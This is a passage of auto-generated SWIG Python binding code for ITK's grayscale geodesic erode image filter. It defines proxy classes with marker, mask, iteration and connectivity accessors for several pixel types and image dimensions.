_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUC2IUC2 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUC2IUC2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUC2IUC2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUC2IUC2 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUC2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_swigregister itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_swigregister(itkGrayscaleGeodesicErodeImageFilterIUC2IUC2) def itkGrayscaleGeodesicErodeImageFilterIUC2IUC2___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUC2IUC2___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUC2IUC2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC2IUC2_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUC3IUC3(itkImageToImageFilterAPython.itkImageToImageFilterIUC3IUC3): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUC3IUC3 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUC3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUC3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUC3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUC3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUC3IUC3 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUC3IUC3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUC3IUC3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUC3IUC3 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUC3IUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_swigregister itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_swigregister(itkGrayscaleGeodesicErodeImageFilterIUC3IUC3) def itkGrayscaleGeodesicErodeImageFilterIUC3IUC3___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUC3IUC3___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUC3IUC3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUC3IUC3_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUL2IUL2(itkImageToImageFilterAPython.itkImageToImageFilterIUL2IUL2): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUL2IUL2 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUL2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUL2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUL2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUL2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUL2IUL2 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUL2IUL2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUL2IUL2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUL2IUL2 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUL2IUL2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_swigregister itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_swigregister(itkGrayscaleGeodesicErodeImageFilterIUL2IUL2) def itkGrayscaleGeodesicErodeImageFilterIUL2IUL2___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUL2IUL2___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUL2IUL2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL2IUL2_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUL3IUL3(itkImageToImageFilterAPython.itkImageToImageFilterIUL3IUL3): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUL3IUL3 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUL3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUL3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUL3 arg0)""" return 